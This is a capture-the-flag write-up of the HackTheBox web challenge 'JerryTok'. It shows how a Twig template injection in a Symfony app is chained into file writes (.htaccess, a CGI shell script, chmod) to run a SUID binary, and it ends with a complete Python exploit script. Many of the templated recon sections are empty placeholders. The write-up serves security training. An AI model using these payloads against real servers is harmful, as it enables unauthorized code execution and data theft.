← Back to Writeups
HTBN/AWeb

JerryTok

XESXOR8/23/20265 min read
#web#htb#n/a

JerryTok

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-04-04 | Status: Solved Techniques: disable_functions_bypass_via_cgi, file_put_contents_via_twig, htaccess_cgi_execution, map_filter_callback, open_basedir_bypass_via_cgi, twig_ssti_createtemplate

Summary

Task: Symfony 7.0 PHP app with Twig SSTI via createTemplate(), but exec functions disabled and open_basedir=/www. Solution: Use Twig map filter to call file_put_contents, write .htaccess enabling CGI + shell script calling SUID /readflag, bypassing all PHP restrictions.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20250404_hackthebox_jerrytok
  • Tags: php, ssti, apache, suid, cgi, twig, symfony, htaccess, disable_functions, open_basedir
  • Indicators: Twig createTemplate() with user input interpolation, disable_functions blocking all exec functions, open_basedir restriction, Apache mod_cgi loaded with ScriptAlias, .htacess typo (single 's') meaning no active rewrite rules
  • Source: 20250404_hackthebox_jerrytok.md

Foothold

Vulnerability / Misconfiguration

  1. Disable_functions_bypass_via_cgi
  2. File_put_contents_via_twig
  3. Htaccess_cgi_execution
  4. Map_filter_callback
  5. Open_basedir_bypass_via_cgi
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • disable_functions_bypass_via_cgi
  • file_put_contents_via_twig
  • htaccess_cgi_execution
  • map_filter_callback
  • open_basedir_bypass_via_cgi
  • twig_ssti_createtemplate
  • Tags: php, ssti, apache, suid, cgi, twig, symfony, htaccess, disable_functions, open_basedir

Original Writeup

<details><summary>Click to expand original content</summary>

JerryTok — HackTheBox

Description

Welcome to JerryTok, your portal to the nearest jerryboree, where mediocrity is celebrated! Dive into the daily escapades of the wonderfully average, from mundane mishaps to modest triumphs. Share your moments, connect, and laugh as you find glory in the ordinary. Join now and embrace the delightfully dull at your local jerryboree!

A Symfony 7.0 PHP web application using Twig 3.8.0 as the template engine, running on Apache with PHP-CGI on Alpine Linux. The goal is to read a flag at /root/flag that is only accessible via a SUID root binary /readflag.

Analysis

SSTI Vulnerability

In DefaultController.php, the location GET parameter is directly interpolated into a Twig template string via createTemplate() — a textbook Server-Side Template Injection:

$location = $request->get('location');
$message = $this->container->get('twig')->createTemplate(
    "Located at: {$location} from your ship's computer"
)->render();

Restrictions Preventing Trivial Exploitation

  1. disable_functions (from entrypoint.sh):
   exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create, mail

All standard command execution functions are blocked.

  1. open_basedir = /www — PHP file operations restricted to the /www directory only.

  2. Flag location: /root/flag, readable only by root. A SUID root binary /readflag (chmod 4755) must be executed to retrieve it:

   int main() {
       setuid(0);
       system("/bin/cat /root/flag");
   }

Key Observations from Source Code

  1. Apache httpd.conf loads mod_cgi and has ScriptAlias /cgi-bin /usr/bin. Crucially, AllowOverride All is set for both / and /www/public, meaning .htaccess files are fully processed.

  2. The file .htacess (single 's') is a deliberate typo — Apache only reads .htaccess (double 's'), so Symfony's rewrite rules are NOT active. This means we can write our own .htaccess and it will be the authoritative one.

  3. Twig 3.8.0: String callbacks in |reduce() and |sort() return 500 errors, but |map("func") works — it calls func(value, key) for each element in a hash. Using a hash {key: value}|map("func") calls func(value, key), giving control over both arguments.

  4. file_put_contents and chmod are NOT in the disable_functions list — they can be called via the |map filter trick.

Solution

Step 0: Confirm SSTI

GET /?location={{7*7}}
→ "Located at: 49 from your ship's computer"

Confirm Twig version:

GET /?location={{constant("Twig\\Environment::VERSION")}}
→ 3.8.0

Step 1: Write .htaccess enabling CGI execution for .sh files

Using Twig SSTI with |map("file_put_contents") on a hash where key = content and value = filepath:

{% set x = {"Options +ExecCGI\nAddHandler cgi-script .sh": "/www/public/.htaccess"}|map("file_put_contents") %}

The map filter iterates over the hash and calls file_put_contents(value, key)file_put_contents("/www/public/.htaccess", "Options +ExecCGI\nAddHandler cgi-script .sh").

Newlines are actual \n characters passed via URL encoding (%0A).

Step 2: Write CGI shell script that calls /readflag

{% set x = {"#!/bin/sh\necho Content-type: text/plain\necho\n/readflag": "/www/public/flag.sh"}|map("file_put_contents") %}

The CGI script outputs proper HTTP headers (Content-type + blank line separator) then executes the SUID binary.

Step 3: Make the script executable

{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}

511 decimal = 0777 octal. Calls chmod("/www/public/flag.sh", 511).

Step 4: Execute CGI script via HTTP

GET /flag.sh
→ HTB{REDACTED}

Apache executes flag.sh as a CGI script — a separate shell process, NOT PHP. This completely bypasses disable_functions and open_basedir. The SUID /readflag binary does setuid(0) and reads /root/flag.

Full Exploit Script

#!/usr/bin/env python3
"""JerryTok - Twig SSTI → CGI RCE exploit"""
import requests
import sys
import time

def exploit(target_url):
    target = target_url.rstrip("/")

    # Step 0: Verify SSTI
    r = requests.get(target, params={"location": "{{7*7}}"}, timeout=10)
    assert "49" in r.text, "SSTI not working"
    print("[+] SSTI confirmed")

    # Step 1: Write .htaccess enabling CGI for .sh files
    htaccess_content = "Options +ExecCGI\nAddHandler cgi-script .sh"
    payload1 = '{%% set x = {"%s": "/www/public/.htaccess"}|map("file_put_contents") %%}' % htaccess_content
    requests.get(target, params={"location": payload1}, timeout=10)
    print("[+] .htaccess written")

    # Step 2: Write CGI shell script calling /readflag
    cgi_content = "#!/bin/sh\necho Content-type: text/plain\necho\n/readflag"
    payload2 = '{%% set x = {"%s": "/www/public/flag.sh"}|map("file_put_contents") %%}' % cgi_content
    requests.get(target, params={"location": payload2}, timeout=10)
    print("[+] CGI script written")

    # Step 3: chmod +x the CGI script
    payload3 = '{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}'
    requests.get(target, params={"location": payload3}, timeout=10)
    print("[+] CGI script made executable")

    # Step 4: Execute CGI script
    time.sleep(0.5)
    r = requests.get(f"{target}/flag.sh", timeout=10)
    print(f"[*] Flag: {r.text.strip()}")
    return r.text.strip()

if __name__ == "__main__":
    exploit(sys.argv[1])

Why This Works

  • SSTI gives arbitrary Twig template execution via unsanitized createTemplate() input
  • |map("file_put_contents") with a hash bypasses the need for |reduce/|sort (which were broken in Twig 3.8.0 for string callbacks) and allows writing arbitrary files within open_basedir
  • CGI execution runs outside PHP entirely — no disable_functions, no open_basedir restrictions apply
  • SUID /readflag escalates privileges to root to read the flag
  • .htacess typo means no existing rewrite rules interfere with our custom .htaccess
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR